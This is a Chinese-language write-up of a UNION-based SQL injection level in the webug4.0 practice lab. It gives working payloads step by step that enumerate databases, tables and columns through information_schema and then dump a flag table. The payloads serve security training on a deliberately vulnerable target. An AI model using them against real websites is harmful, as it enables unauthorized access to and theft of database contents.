webug4.0 显错注入-1
一些小的知识
- concat(str1,str2,...) 返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL
- concat_ws(separator, str1, str2, ...) 含有分隔符地连接字符串,第一个参数为制定的分隔符
- group_concat(str1,str2,...) 连接一个组的所有字符串,并以逗号分隔每一条数据
- union 用于合并两个或多个select语句的结果集,需要注意的是union内部的select须拥有相同数量的列,且列的数据类型也要相同。
注入的一般流程为:输入点-->数据库-->数据表-->数据列-->数据项
进入靶场
先看一下界面
ip:192.168.177.130/control/sqlinject/manifest_error.php?id=1
看到id=1试一下id=2,id=3
id=2:
id=3:
对比可以猜测:
网站后端根据get到的id搜索输出到网页上,如果没有结果,则对应位置没有结果,如id=3时
寻找注入点
报错注入,id=3,猜测下SQL语句是:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
接下来挨个试试单引号、双引号、括号以及他们的相互组合:
url?id=1'时报错
Invalid query: SELECT * FROM sqlinjection WHERE id = '1''
找到注入点,利用order by判断字段个数,知道了才方便用union
http://localhost/control/sqlinject/manifest_error.php?id=1' order by 1%23
从1开始尝试,发现到3时页面报错,因此判断字段个数为2个(网上看大佬的wp都是利用二分法查询,这样在字段多的时候更容易查询出来,wuwuwu果然太菜了)
接下来让我们看看我们想要的数据在第几列
payloa:id=3' union select 1,2%23
在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了。
做这一步是因为 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,后端会将查到的一个列输出出来,如图。
比如查询用户名:id=3%27%20union%20select%201,user()%23
查询flag
1.查询mysql版本
payload:id=3' union select 1,version() %23
版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息
2.确认mysql中有哪些数据库
由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。
payload:
id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23
查看当前数据库
payload:id=3' UNION SELECT 1,database()%23
先查查有哪些表再说
payload:
id=3' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA =%20 'webug'%23
哈哈哈发现有个flag表
确认表的字段
payload:
id=3' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'%23
看看吧
payload:id=3' UNION SELECT 1,id from webug.flag%23
payload:id=3' UNION SELECT 1,flag from webug.flag%23
得到flag,打开靶场提交,显示flag正确